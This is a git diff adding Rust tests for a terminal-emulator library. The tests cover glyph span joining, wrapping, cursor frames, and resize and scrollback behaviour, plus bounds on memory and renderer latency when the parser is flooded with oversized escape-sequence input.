+/// The join guard has two halves: the previous cell must not have carried
+/// marks (`open`), and the current cell must not carry them (`joinable`).
+/// Every fixture above exercises only the first half -- a plain cluster
+/// following a marked one. This one exercises the second: a *marked* cluster
+/// arriving after a plain run, which is the only path on which the run in
+/// progress is handed text holding more `char`s than the one cluster its
+/// count is about to be incremented by.
+///
+/// Sami found the hole. With `joinable` dropped from the guard, a release
+/// build silently emits `Span { column: 0, text: "xyé", cluster_count: 3 }`:
+/// four chars counted as three, so the consumer's rule splits per char and
+/// places the combining mark on top of `z`.
+#[test]
+fn a_marked_cluster_after_a_plain_run_starts_its_own_span() {
+    let (spans, _actions) = render("xye\u{0301}z");
+    assert_eq!(
+        placements(&spans),
+        vec![
+            (0, "x".into()),
+            (1, "y".into()),
+            (2, "e\u{0301}".into()),
+            (3, "z".into()),
+        ],
+        "a marked cluster must not be absorbed into the run in front of it"
+    );
+}
+
+/// `cluster_count` is a `u16` and `Size.columns` is an unclamped `usize`
+/// (`lib.rs:50`) that no production caller bounds yet, so a row of uniform
+/// cells wider than `u16::MAX` reaches the join guard's overflow refusal.
+/// The guard is live code, not paranoia, and this fixture is what says so.
+///
+/// Refusing to join produces a shape the consumer already handles -- the run
+/// ends and a new span starts at the next column -- whereas wrapping produces
+/// an undecodable span, the same failure as the marked-after-plain case above.
+#[test]
+fn a_run_longer_than_u16_max_splits_rather_than_wrapping() {
+    let columns = 70_000;
+    let size = Size {
+        columns,
+        screen_lines: 1,
+        scrollback: 0,
+    };
+    let (term, _actions) = Terminal::new(size, Fences::ALL);
+    let shared = SharedTerminal::new(term);
+    // One character is enough: the rest of the row is blank cells of the same
+    // style, so the whole row is a single candidate run.
+    shared.feed_fully(b"a");
+    let mut encoder = Encoder::new();
+    let frame = shared.render(&mut encoder);
+
+    let spans = &frame
+        .rows
+        .iter()
+        .find(|row| row.line == 0)
+        .expect("the fed row must be present")
+        .spans;
+
+    assert!(
+        spans.iter().all(|span| span.counts_are_consistent()),
+        "an oversized run must not wrap its count: {spans:?}"
+    );
+    let counts: Vec<u16> = spans.iter().map(|span| span.cluster_count).collect();
+    let columns_at: Vec<usize> = spans.iter().map(|span| span.column).collect();
+    assert_eq!(
+        counts,
+        vec![u16::MAX, (columns - u16::MAX as usize) as u16],
+        "the run must end at the last representable count"
+    );
+    assert_eq!(
+        columns_at,
+        vec![0, u16::MAX as usize],
+        "the second span starts where the first left off"
+    );
+    let chars: usize = spans.iter().map(|span| span.text.chars().count()).sum();
+    assert_eq!(chars, columns, "no cell may be dropped by the split");
+}
+
+/// Wrapping marks the last cell of the row with `WRAPLINE` (upstream
+/// `term/mod.rs:968`). That bit records where the text happened to wrap, not
+/// how the text looks, so it must not reach the style key: if it did, the last
+/// column of every wrapped row would split off into a span of its own -- an
+/// extra wire record per wrapped line, and span boundaries that move when the
+/// window is resized.
+///
+/// Quinn found this by reading `cell.rs:21` while checking the `WIDE_CHAR`
+/// mask; this fixture is the proof that was missing from the source read.
+#[test]
+fn wrapping_does_not_split_a_uniform_run() {
+    let size = Size {
+        columns: 5,
+        screen_lines: 3,
+        scrollback: 100,
+    };
+    let (term, _actions) = Terminal::new(size, Fences::ALL);
+    let shared = SharedTerminal::new(term);
+    // Six narrow cells in one style: five fill row 0 and set WRAPLINE on the
+    // last of them, the sixth lands on row 1.
+    shared.feed_fully(b"abcdef");
+    let mut encoder = Encoder::new();
+    let frame = shared.render(&mut encoder);
+
+    let first = frame
+        .rows
+        .iter()
+        .find(|row| row.line == 0)
+        .expect("wrapped row must be present");
+    let texts: Vec<&str> = first.spans.iter().map(|s| s.text.as_str()).collect();
+    assert_eq!(
+        texts,
+        vec!["abcde"],
+        "a wrapped row of one style is one span; WRAPLINE must not break it"
+    );
+}
+
+/// A wide glyph at the last usable column wraps to the next row rather than
+/// straddling the edge. The contract must hold on the wrapped row too.
+#[test]
+fn leading_wide_glyph_after_wrap_is_positioned_from_column_zero() {
+    let size = Size {
+        columns: 5,
+        screen_lines: 3,
+        scrollback: 100,
+    };
+    let (term, _actions) = Terminal::new(size, Fences::ALL);
+    let shared = SharedTerminal::new(term);
+    // Four narrow cells fill 0..=3, leaving one column: the wide glyph cannot
+    // fit and moves to the next row.
+    shared.feed_fully("abcd\u{4E00}".as_bytes());
+    let mut encoder = Encoder::new();
+    let frame = shared.render(&mut encoder);
+
+    let second = frame
+        .rows
+        .iter()
+        .find(|row| row.line == 1)
+        .expect("wrapped row must be present");
+    assert_eq!(
+        placements(&second.spans),
+        vec![(0, "\u{4E00}".into())],
+        "a wrapped wide glyph starts at column 0 of the next row"
+    );
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/cursor.rs b/desktop/src-tauri/crates/buzz-terminal/tests/cursor.rs
new file mode 100644
index 0000000000..7e43505b72
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/tests/cursor.rs
@@ -0,0 +1,41 @@
+use buzz_terminal::damage::Encoder;
+use buzz_terminal::fences::Fences;
+use buzz_terminal::{SharedTerminal, Size, Terminal};
+
+#[test]
+fn space_over_blank_cell_publishes_cursor_only_frame() {
+    let (terminal, _actions) = Terminal::new(
+        Size {
+            columns: 8,
+            screen_lines: 2,
+            scrollback: 10,
+        },
+        Fences::ALL,
+    );
+    let terminal = SharedTerminal::new(terminal);
+    let mut encoder = Encoder::new();
+
+    let initial = terminal.render(&mut encoder);
+    assert!(!initial.is_empty());
+    assert_eq!(initial.cursor.column, 0);
+
+    terminal.feed_fully(b" ");
+    let after_space = terminal.render(&mut encoder);
+
+    assert!(
+        after_space.rows.is_empty(),
+        "a blank cell overwritten with a space must be row-deduplicated"
+    );
+    assert_eq!(after_space.cursor.column, 1);
+    assert!(after_space.cursor_changed);
+    assert!(
+        !after_space.is_empty(),
+        "cursor movement must make the frame publishable"
+    );
+
+    let idle = terminal.render(&mut encoder);
+    assert!(
+        idle.is_empty(),
+        "an unchanged cursor must not create traffic"
+    );
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/fences.rs b/desktop/src-tauri/crates/buzz-terminal/tests/fences.rs
new file mode 100644
index 0000000000..72bb8c2e6f
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/tests/fences.rs
@@ -0,0 +1,169 @@
+//! Mutation-sensitive byte fixtures for the two parser fences.
+//!
+//! These use the shipping `Terminal::feed` path. Arms that could be masked by
+//! the other fence disable it explicitly; the switches are runtime values, not
+//! cargo features, so the default test binary always contains every arm.
+
+use alacritty_terminal::grid::Dimensions;
+use alacritty_terminal::index::{Column, Line, Point};
+use buzz_terminal::fences::{Fences, OSC_BUDGET, SYNC_CAP};
+use buzz_terminal::{Size, Terminal};
+
+const CHUNK: usize = 8192;
+const G1_BYTES: usize = 2 << 20;
+const G2_FRAMES: usize = 40;
+const G2_FRAME_BYTES: usize = 1_900 * 1024;
+
+fn size() -> Size {
+    Size {
+        columns: 120,
+        screen_lines: 40,
+        scrollback: 2000,
+    }
+}
+
+fn feed_synchronized(term: &mut Terminal, payload: &[u8], close: bool) {
+    term.feed_fully(b"\x1b[?2026h");
+    for chunk in payload.chunks(CHUNK) {
+        term.feed_fully(chunk);
+    }
+    if close {
+        term.feed_fully(b"\x1b[?2026l");
+    }
+}
+
+fn repeated(pattern: &[u8], bytes: usize) -> Vec<u8> {
+    pattern.iter().copied().cycle().take(bytes).collect()
+}
+
+fn count_markers(term: &Terminal, markers: usize) -> usize {
+    let grid = term.term().grid();
+    let mut text = String::new();
+    let top = -(grid.history_size() as i32);
+    for line in top..term.size().screen_lines as i32 {
+        for column in 0..term.size().columns {
+            text.push(grid[Point::new(Line(line), Column(column))].c);
+        }
+        text.push('\n');
+    }
+    (0..markers)
+        .filter(|m| text.contains(&format!("MK{m:03}")))
+        .count()
+}
+
+fn legitimate_frame(markers: usize, bytes: usize) -> Vec<u8> {
+    let mut payload = Vec::with_capacity(bytes);
+    for marker in 0..markers {
+        payload.extend_from_slice(format!("MK{marker:03}\r\n").as_bytes());
+        let target = bytes * (marker + 1) / markers;
+        while payload.len() < target {
+            payload.extend_from_slice(b"\x1b[1;32mx\x1b[0m");
+        }
+        payload.extend_from_slice(b"\r\n");
+    }
+    payload.truncate(bytes);
+    payload
+}
+
+/// G1: every hostile content shape must remain below the deterministic byte
+/// bound, and the same shape with F1 deleted must cross it. Keeping both arms
+/// adjacent prevents a simplified fixture from becoming vacuously cheap.
+#[test]
+fn g1_sync_abort_bounds_all_hostile_shapes() {
+    let shapes: [(&str, &[u8]); 5] = [
+        ("sgr", b"\x1b[1;32mbuzz\x1b[0m\r\n"),
+        ("ascii", b"buzz substrate output\r\n"),
+        ("emoji", "🐝🚀✨\r\n".as_bytes()),
+        ("zalgo", "z\u{0301}\u{0302}\u{0303}\u{0304}\r\n".as_bytes()),
+        ("truecolor", b"\x1b[38;2;255;0;128mRGB\x1b[0m\r\n"),
+    ];
+
+    for (name, pattern) in shapes {
+        let payload = repeated(pattern, G1_BYTES);
+        let (mut fenced, _) = Terminal::new(size(), Fences::ALL);
+        feed_synchronized(&mut fenced, &payload, false);
+        let fenced_stats = fenced.stats();
+        assert!(fenced_stats.sync_aborts > 0, "{name}: F1 never fired");
+        assert!(
+            fenced_stats.max_release <= 2 * SYNC_CAP,
+            "{name}: fenced release {} exceeds 128 KiB",
+            fenced_stats.max_release
+        );
+
+        let (mut unfenced, _) = Terminal::new(size(), Fences::NONE);
+        feed_synchronized(&mut unfenced, &payload, false);
+        let unfenced_stats = unfenced.stats();
+        assert_eq!(unfenced_stats.sync_aborts, 0, "{name}: control enabled F1");
+        assert!(
+            unfenced_stats.max_release > 2 * SYNC_CAP,
+            "{name}: unfenced release {} stayed inside the gate; fixture is vacuous",
+            unfenced_stats.max_release
+        );
+    }
+}
+
+/// G2 arm 1: deletion oracle. F1 remains enabled because this arm proves F2
+/// deletion under the combined production configuration.
+#[test]
+fn g2_hostile_unsynchronized_osc_resets_parser() {
+    let (mut term, _) = Terminal::new(size(), Fences::ALL);
+    term.feed_fully(b"\x1b]0;");
+    for chunk in repeated(b"A", OSC_BUDGET * 4).chunks(CHUNK) {
+        term.feed_fully(chunk);
+    }
+    assert!(term.stats().osc_resets > 0, "F2 never rebuilt the parser");
+}
+
+/// G2 arm 2: every synchronized release is attributed. F1 is disabled so its
+/// small abort releases cannot mask an implementation that omits ESU flushes.
+#[test]
+fn g2_each_synchronized_flush_is_attributed() {
+    let payload = repeated(b"A", G2_FRAME_BYTES);
+    let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY);
+    for _ in 0..G2_FRAMES {
+        feed_synchronized(&mut term, &payload, true);
+    }
+    let stats = term.stats();
+    assert_eq!(stats.sync_aborts, 0, "F1 must be disabled in this arm");
+    assert_eq!(
+        stats.osc_resets, G2_FRAMES as u64,
+        "expected one reset for each atomic synchronized release"
+    );
+    assert!(
+        stats.charged_bytes >= (G2_FRAMES * G2_FRAME_BYTES) as u64,
+        "flush bytes were omitted from attribution: {} charged",
+        stats.charged_bytes
+    );
+}
+
+/// G2 arm 3: parser-visible attribution preserves a legitimate 1.5 MiB frame.
+/// F1 is disabled; raw-input counting would reset mid-frame and lose markers.
+#[test]
+fn g2_legitimate_large_frame_preserves_all_markers() {
+    let markers = 200;
+    let payload = legitimate_frame(markers, 1_500 * 1024);
+    let (mut term, _) = Terminal::new(size(), Fences::OSC_ONLY);
+    feed_synchronized(&mut term, &payload, true);
+    assert_eq!(
+        count_markers(&term, markers),
+        markers,
+        "legitimate frame lost markers"
+    );
+}
+
+/// Legitimacy control: neither fence alone nor the production combination may
+/// corrupt a normal synchronized frame.
+#[test]
+fn g2_legitimate_frame_survives_each_fence_configuration() {
+    let markers = 200;
+    let payload = legitimate_frame(markers, 128 * 1024);
+    for fences in [Fences::SYNC_ONLY, Fences::OSC_ONLY, Fences::ALL] {
+        let (mut term, _) = Terminal::new(size(), fences);
+        feed_synchronized(&mut term, &payload, true);
+        assert_eq!(
+            count_markers(&term, markers),
+            markers,
+            "{fences:?} lost markers"
+        );
+    }
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/latency.rs b/desktop/src-tauri/crates/buzz-terminal/tests/latency.rs
new file mode 100644
index 0000000000..0edbefce19
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/tests/latency.rs
@@ -0,0 +1,156 @@
+//! G3: the renderer's wait for the terminal lock, under flood.
+//!
+//! The plan originally required "reader hold < 16.7 ms". That requirement was
+//! struck: measured under a 180 MB/s flood, reader hold is p50 1 us while
+//! renderer *acquire* is p50 4245 us. Hold time passes trivially while the
+//! window is visibly stuck, because 0.389% of feeds carry 96.4% of the lock
+//! time and the p50 hold never sees them. What a human feels is the wait, so
+//! that is what is gated here.
+//!
+//! F1 is the fence being tested. It is a memory bound *and* a latency fence:
+//! it turns one ~2 MiB parser release into ~64 KiB pieces, and the renderer's
+//! wait falls with it.
+
+use std::sync::atomic::{AtomicBool, Ordering};
+use std::sync::Arc;
+use std::thread;
+use std::time::Duration;
+
+use buzz_terminal::damage::Encoder;
+use buzz_terminal::fences::Fences;
+use buzz_terminal::{SharedTerminal, Size, Terminal};
+
+/// One frame at 60 Hz. No acquire may exceed this: a single wait this long is
+/// a dropped frame regardless of how good the distribution looks.
+///
+/// Unlike the p95 below, this bound **cannot be protected by headroom**, and
+/// that asymmetry is why this test is `#[ignore]`d and run only in release on
+/// an idle host. A quantile discards its worst samples by construction, so it
+/// degrades gracefully as a machine gets noisy; a maximum over `FRAMES` samples
+/// is a single observation, and any one scheduler preemption exceeds it. There
+/// is no budget that makes the max arm robust to contention -- the tail it
+/// catches belongs to the scheduler, not to this code.
+///
+/// Measured on one 16-core host at `FRAMES = 200`: at load average ~6 the gate
+/// passes; at ~31 it fails with p95 65535 us / max 164889 us. A run at ambient
+/// load produced p95 1023 us -- 4x *inside* budget -- while max alone blew at
+/// 38150 us.
+///
+/// So the repair for a flake here is to fix the host, never to raise this
+/// number. Raising it is the one change that silently removes the only assert
+/// that catches the user-visible failure: a hitch is a max-event, and a
+/// p95-only gate passes a run containing a 38 ms stall.
+const FRAME_MICROS: u64 = 16_667;
+
+/// p95 budget. Measured at 127 us with F1 on -- 31x of headroom, which is the
+/// margin that lets *this* arm tolerate a loaded machine without becoming a
+/// coin flip. The reasoning covers the quantile only; see `FRAME_MICROS`.
+const P95_MICROS: u64 = 4_000;
+
+/// Frames sampled per arm. Counted rather than timed: sample count under a
+/// wall-clock budget is a function of how slow the arm is, so a duration-based
+/// loop gives the *unfenced* arm the fewest samples -- fewest exactly where the
+/// tail being measured lives. Counting frames makes both arms the same
+/// experiment.
+const FRAMES: u32 = 200;
+
+/// A ~2 MiB synchronized update, closed, replayed in PTY-sized reads.
+///
+/// The payload's *shape* is the load-bearing part, and it cost me a wrong
+/// result to learn it. An earlier version poured 8 KiB blocks of `A` into an
+/// update that was never closed. It floods just as many bytes per second, and
+/// it does not discriminate F1 at all: measured p95 63 us fenced vs 63 us
+/// unfenced. Plain `A` overwrites one line at a few ns per byte, so even a
+/// 2 MiB release is a short lock hold.
+///
+/// What makes a release expensive is work per byte -- SGR state changes and
+/// `\r\n` line feeds that push rows into scrollback. With that payload the same
+/// experiment separates by 129x. So this gate is sensitive to input shape and
+/// not merely to input rate, which is why the control below is not optional.
+fn flood(shared: &SharedTerminal, stop: &AtomicBool) {
+    let mut payload: Vec<u8> = b"\x1b[?2026h".to_vec();
+    while payload.len() < (2 << 20) {
+        payload.extend_from_slice(b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n");
+    }
+    payload.extend_from_slice(b"\x1b[?2026l");
+    while !stop.load(Ordering::Relaxed) {
+        for chunk in payload.chunks(8192) {
+            if stop.load(Ordering::Relaxed) {
+                return;
+            }
+            shared.feed_fully(chunk);
+        }
+    }
+}
+
+/// Render at 60 Hz for the duration of the flood, and report the renderer
+/// plane's acquisition latencies.
+fn measure(fences: Fences) -> buzz_terminal::AcquireStats {
+    let size = Size {
+        columns: 200,
+        screen_lines: 50,
+        scrollback: 10_000,
+    };
+    let (term, _actions) = Terminal::new(size, fences);
+    let shared = Arc::new(SharedTerminal::new(term));
+    let stop = Arc::new(AtomicBool::new(false));
+
+    let writer = {
+        let (shared, stop) = (Arc::clone(&shared), Arc::clone(&stop));
+        thread::spawn(move || flood(&shared, &stop))
+    };
+
+    // Don't measure the ramp: let the flood reach steady state, then clear.
+    thread::sleep(Duration::from_millis(200));
+    shared.renderer_acquire().reset();
+
+    let mut encoder = Encoder::new();
+    for _ in 0..FRAMES {
+        shared.render(&mut encoder);
+        thread::sleep(Duration::from_micros(FRAME_MICROS));
+    }
+    let stats = shared.renderer_acquire().snapshot();
+
+    stop.store(true, Ordering::Relaxed);
+    writer.join().expect("flood thread panicked");
+
+    assert_eq!(stats.acquisitions, FRAMES as u64, "meter lost samples");
+    stats
+}
+
+/// G3: with F1 on, the renderer's wait stays inside a frame -- and the
+/// unfenced control shows the fence is what puts it there.
+///
+/// Both arms live in one `#[test]` on purpose. As separate tests they run
+/// concurrently by default, each with its own flood thread, so each arm's
+/// measurement includes the other arm's CPU load and the control's ratio
+/// becomes a race between two floods rather than a statement about F1.
+#[test]
+#[ignore = "native performance gate; run release-mode on a known-idle host"]
+fn g3_renderer_acquire_stays_within_frame_budget() {
+    let fenced = measure(Fences::ALL);
+    let p95 = fenced.percentile_micros(0.95);
+    assert!(
+        p95 <= P95_MICROS,
+        "renderer acquire p95 {p95} us over the {P95_MICROS} us budget (max {} us, n={})",
+        fenced.max_micros,
+        fenced.acquisitions
+    );
+    assert!(
+        fenced.max_micros <= FRAME_MICROS,
+        "renderer waited {} us for the terminal lock -- a dropped frame (p95 {p95} us, n={})",
+        fenced.max_micros,
+        fenced.acquisitions
+    );
+
+    // The control. Without it this gate could pass because the fixture never
+    // contended -- green over an experiment that did not run.
+    let unfenced = measure(Fences::OSC_ONLY);
+    assert!(
+        unfenced.max_micros > fenced.max_micros.max(1) * 4,
+        "unfenced renderer max {} us vs fenced {} us -- F1 is not what holds \
+         renderer latency down, and this gate is measuring something else",
+        unfenced.max_micros,
+        fenced.max_micros
+    );
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/resize.rs b/desktop/src-tauri/crates/buzz-terminal/tests/resize.rs
new file mode 100644
index 0000000000..6548de9b4d
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/tests/resize.rs
@@ -0,0 +1,196 @@
+//! The resize seam: what a consumer is allowed to rely on across a reflow.
+//!
+//! The dedup encoder caches a hash per line. A resize reflows content into
+//! rows of a different width, so those cached hashes describe a grid that no
+//! longer exists -- if a resize did not force a full frame, dedup could
+//! suppress a row whose content genuinely changed and leave the renderer
+//! showing reflowed-away text.
+//!
+//! It does force one: upstream's `TermDamageState::resize` sets `full`
+//! (`alacritty_terminal-0.26.0` term/mod.rs:240). These fixtures hold that
+//! behaviour to the seam, because it is upstream's invariant and not ours.
+
+use buzz_terminal::damage::Encoder;
+use buzz_terminal::fences::Fences;
+use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
+use std::sync::mpsc::Receiver;
+
+/// The receiver is returned rather than dropped: dropping it disconnects the
+/// channel, and every subsequent listener send silently fails. These fixtures
+/// don't assert on actions, but a fixture that quietly disables a code path is
+/// how a future assertion gets written against a dead one.
+fn shared(size: Size) -> (SharedTerminal, Receiver<Action>) {
+    let (term, actions) = Terminal::new(size, Fences::ALL);
+    (SharedTerminal::new(term), actions)
+}
+
+fn size(columns: usize) -> Size {
+    Size {
+        columns,
+        screen_lines: 10,
+        scrollback: 1000,
+    }
+}
+
+fn grid(columns: usize, screen_lines: usize) -> Size {
+    Size {
+        columns,
+        screen_lines,
+        scrollback: 1000,
+    }
+}
+
+/// A resize invalidates dedup and republishes the whole grid at the new width.
+#[test]
+fn resize_forces_a_full_frame_at_the_new_width() {
+    let (shared, _actions) = shared(size(40));
+    let mut encoder = Encoder::new();
+    shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line\r\n");
+
+    let first = shared.render(&mut encoder);
+    assert!(first.full, "first frame after a fresh Term must be full");
+    assert_eq!(first.viewport.columns, 40);
+    assert_eq!(first.viewport.generation, 0);
+
+    // Nothing changed: dedup suppresses everything. Without this the next
+    // assertion could pass simply because every frame is full.
+    let idle = shared.render(&mut encoder);
+    assert!(!idle.full, "an unchanged grid must not republish");
+    assert!(
+        idle.rows.is_empty(),
+        "dedup let {} unchanged rows through",
+        idle.rows.len()
+    );
+
+    let applied = shared.resize(size(20));
+    assert_eq!(
+        applied.columns, 20,
+        "resize did not report the grid it applied"
+    );
+    assert_eq!(
+        applied.generation, 1,
+        "generation must advance across a resize"
+    );
+
+    let after = shared.render(&mut encoder);
+    assert!(
+        after.full,
+        "a resize must invalidate the renderer's cached rows"
+    );
+    assert_eq!(
+        after.viewport, applied,
+        "frame's viewport disagrees with the one resize reported applying"
+    );
+    assert_eq!(after.rows.len(), 10, "full frame must carry every line");
+    let row0: String = after.rows[0]
+        .spans
+        .iter()
+        .map(|s| s.text.as_str())
+        .collect();
+    assert_eq!(row0.chars().count(), 20, "row emitted at the old width");
+    assert!(
+        row0.starts_with("hello world"),
+        "content lost across reflow: {row0:?}"
+    );
+}
+
+/// A no-op resize is not a resize: it must not burn a generation, or every
+/// `ResizeObserver` tick would look like a discontinuity to the consumer.
+#[test]
+fn identical_resize_is_inert() {
+    let (shared, _actions) = shared(size(40));
+    let mut encoder = Encoder::new();
+    shared.feed_fully(b"hello");
+    shared.render(&mut encoder);
+
+    let applied = shared.resize(size(40));
+    assert_eq!(
+        applied.generation, 0,
+        "a same-size resize advanced the generation"
+    );
+
+    let after = shared.render(&mut encoder);
+    assert_eq!(after.viewport, applied);
+    assert!(
+        !after.full,
+        "a same-size resize forced a needless full repaint"
+    );
+}
+
+/// A **full frame must carry every row**, including rows whose content is
+/// byte-identical to what sat at that index before the resize.
+///
+/// This is the arm that catches a dedup cache surviving a full frame, and the
+/// width-changing fixture above does *not* catch it: changing the width changes
+/// every row's cell contents, so the hashes differ and the rows are emitted for
+/// the wrong reason. A **height-only** resize keeps the width, so reflowed rows
+/// hash exactly as before -- and a stale cache suppresses them right after the
+/// consumer was told to discard what it had. The result is a renderer holding
+/// nothing where content should be.
+///
+/// Verified concretely: growing 10 -> 20 lines moves "hello world" from row 0
+/// to row 1, so correctness here is not merely about frame bookkeeping.
+#[test]
+fn full_frame_after_height_resize_republishes_unchanged_rows() {
+    let (shared, _actions) = shared(grid(40, 10));
+    let mut encoder = Encoder::new();
+    shared.feed_fully(b"\x1b[2J\x1b[Hhello world\r\nsecond line");
+    let first = shared.render(&mut encoder);
+    assert!(first.full);
+    assert_eq!(first.rows.len(), 10);
+
+    shared.resize(grid(40, 20));
+    let after = shared.render(&mut encoder);
+    assert!(
+        after.full,
+        "a resize must invalidate the renderer's cached rows"
+    );
+    assert_eq!(after.viewport.screen_lines, 20);
+    assert_eq!(
+        after.rows.len(),
+        20,
+        "full frame carried {} of 20 rows -- dedup suppressed rows the consumer \
+         was simultaneously told to discard, leaving them blank",
+        after.rows.len()
+    );
+}
+
+/// A frame is stamped with the grid it was **captured on**, and a later resize
+/// does not retroactively re-label it.
+///
+/// This is the cross-transport race in the integration lane: frame delivery and
+/// the resize call are separate paths, so a generation-N frame can arrive after
+/// generation N+1 has been applied. Rejecting it requires the stamp to be
+/// capture-time truth.
+///
+/// Note what is and is not proven here. That an owned `Frame` cannot mutate is
+/// guaranteed by the language, so asserting it against a copy of itself would
+/// be tautological. What this asserts is that `capture()` stamps the viewport
+/// as it was **at capture**, against explicit expected values -- a `capture()`
+/// that read the viewport a moment later, or a `Frame` that carried a handle
+/// back to the terminal, would fail here.
+#[test]
+fn a_frame_is_stamped_with_the_grid_it_was_captured_on() {
+    let (shared, _actions) = shared(grid(40, 10));
+    let mut encoder = Encoder::new();
+    shared.feed_fully(b"\x1b[2J\x1b[Hhello world");
+
+    let in_flight = shared.render(&mut encoder);
+    assert_eq!(in_flight.viewport.generation, 0);
+    assert_eq!(in_flight.viewport.columns, 40);
+
+    let applied = shared.resize(grid(20, 10));
+    assert_eq!(applied.generation, 1);
+    assert_eq!(applied.columns, 20);
+
+    // The held frame still describes the pre-resize grid, so a consumer can
+    // compare the two and discard it rather than paint 40-column rows onto a
+    // 20-column grid.
+    assert_eq!(
+        in_flight.viewport.columns, 40,
+        "a frame captured before the resize describes the post-resize grid; \
+         a stale frame arriving late would be indistinguishable from a fresh one"
+    );
+    assert_eq!(in_flight.viewport.generation, 0);
+    assert_ne!(in_flight.viewport, applied);
+}
diff --git a/desktop/src-tauri/crates/buzz-terminal/tests/scrollback.rs b/desktop/src-tauri/crates/buzz-terminal/tests/scrollback.rs
new file mode 100644
index 0000000000..22652884a6
--- /dev/null
+++ b/desktop/src-tauri/crates/buzz-terminal/tests/scrollback.rs
@@ -0,0 +1,399 @@
+//! Reaching the scrollback the engine has always been keeping.
+//!
+//! The grid retains 10k lines in production and, before this, nothing could
+//! move the viewport off the live edge. Three things have to hold at once for
+//! that to become usable, and each one fails silently on its own:
+//!
+//! 1. **Direction.** A flipped sign still scrolls, still clamps, and still
+//!    repaints. Only a human notices. So the direction is asserted here, in
+//!    test names, rather than left to the caller to get right.
+//! 2. **Coordinates.** Capture reads screen rows out of a grid indexed from
+//!    the live edge. Off-by-the-offset shows *some* plausible text.
+//! 3. **Dedup.** The renderer's per-row hashes describe the screen it last
+//!    saw. Scrolling changes every row without changing the grid, so a scroll
+//!    that consumed the full-damage flag would leave those hashes describing
+//!    a viewport that is no longer shown -- and they would then suppress a row
+//!    that really did change.
+
+use buzz_terminal::damage::{Encoder, Frame};
+use buzz_terminal::fences::Fences;
+use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
+use std::sync::mpsc::Receiver;
+
+/// The receiver is returned rather than dropped: dropping it disconnects the
+/// channel and every subsequent listener send silently fails.
+fn terminal(
+    columns: usize,
+    screen_lines: usize,
+    scrollback: usize,
+) -> (SharedTerminal, Receiver<Action>) {
+    let size = Size {
+        columns,
+        screen_lines,
+        scrollback,
+    };
+    let (term, actions) = Terminal::new(size, Fences::ALL);
+    (SharedTerminal::new(term), actions)
+}
+
+/// The text of every row the frame carries, indexed by screen row.
+///
+/// Blank rows are kept as empty strings rather than filtered out: this suite
+/// is about *which row shows which line*, and dropping the blanks would
+/// renumber every row after one.
+fn rows_by_line(frame: &Frame) -> Vec<(usize, String)> {
+    frame
+        .rows
+        .iter()
+        .map(|row| {
+            (
+                row.line,
+                row.spans
+                    .iter()
+                    .map(|span| span.text.as_str())
+                    .collect::<String>()
+                    .trim_end()
+                    .to_string(),
+            )
+        })
+        .collect()
+}
+
+/// Just the text, in screen order. Only meaningful for a full frame.
+fn screen(frame: &Frame) -> Vec<String> {
+    rows_by_line(frame)
+        .into_iter()
+        .map(|(_, text)| text)
+        .collect()
+}
+
+/// Fill history with numbered lines, then take a caught-up renderer.
+///
+/// Returns the terminal and an encoder that has already consumed the damage
+/// from that output, so anything a later assertion sees is caused by the
+/// thing under test rather than by the fixture.
+fn scrolled_terminal(lines: usize) -> (SharedTerminal, Receiver<Action>, Encoder) {
+    let (shared, actions) = terminal(20, 4, 100);
+    let payload = (1..=lines)
+        .map(|n| format!("L{n:02}"))
+        .collect::<Vec<_>>()
+        .join("\r\n");
+    shared.feed_fully(payload.as_bytes());
+    let mut renderer = Encoder::new();
+    let _ = shared.render(&mut renderer);
+    (shared, actions, renderer)
+}
+
+#[test]
+fn the_fixture_starts_at_the_live_edge_showing_the_newest_lines() {
+    let (shared, _actions, _) = scrolled_terminal(10);
+    let mut encoder = Encoder::new();
+    assert_eq!(
+        screen(&shared.snapshot(&mut encoder)),
+        vec!["L07", "L08", "L09", "L10"]
+    );
+    assert_eq!(shared.lock().display_offset(), 0);
+}
+
+/// **The direction, at the engine boundary.** Positive goes *into* history.
+///
+/// This is upstream's convention and the reason the embedder negates the DOM
+/// delta exactly once. If this assertion and `terminal_scroll`'s negation are
+/// ever flipped together the pair still passes -- which is why the embedder's
+/// own direction test asserts against the DOM sign rather than against this
+/// one.
+#[test]
+fn positive_lines_scroll_backwards_into_history() {
+    let (shared, _actions, _) = scrolled_terminal(10);
+
+    assert!(shared.scroll(2), "two lines of history exist to move into");
+
+    let mut encoder = Encoder::new();
+    assert_eq!(
+        screen(&shared.snapshot(&mut encoder)),
+        vec!["L05", "L06", "L07", "L08"],
+        "scrolling back two lines must show two older lines"
+    );
+    assert_eq!(shared.lock().display_offset(), 2);
+}
+
+#[test]
+fn negative_lines_scroll_forwards_towards_the_live_edge() {
+    let (shared, _actions, _) = scrolled_terminal(10);
+    assert!(shared.scroll(3));
+
+    assert!(shared.scroll(-1), "one line back towards the edge");
+
+    let mut encoder = Encoder::new();
+    assert_eq!(
+        screen(&shared.snapshot(&mut encoder)),
+        vec!["L05", "L06", "L07", "L08"]
+    );
+    assert_eq!(shared.lock().display_offset(), 2);
+}
+
+/// The momentum guard. A trackpad flick keeps delivering events for about a
+/// second after the fingers lift; once history runs out every one of them
+/// must be free.
+#[test]
+fn scrolling_past_the_oldest_line_clamps_and_reports_no_movement() {
+    let (shared, _actions, _) = scrolled_terminal(10);
+    // Six lines of history: ten written, four on screen.
+    assert!(shared.scroll(6));
+    assert_eq!(shared.lock().display_offset(), 6);
+
+    assert!(
+        !shared.scroll(1),
+        "there is nothing older, so nothing moved"
+    );
+    assert!(
+        !shared.scroll(1_000),
+        "and a whole flick of it still moves nothing"
+    );
+    assert_eq!(shared.lock().display_offset(), 6);
+
+    let mut encoder = Encoder::new();
+    assert_eq!(
+        screen(&shared.snapshot(&mut encoder)),
+        vec!["L01", "L02", "L03", "L04"],
+        "the top of history is the oldest line, not a blank grid"
+    );
+}
+
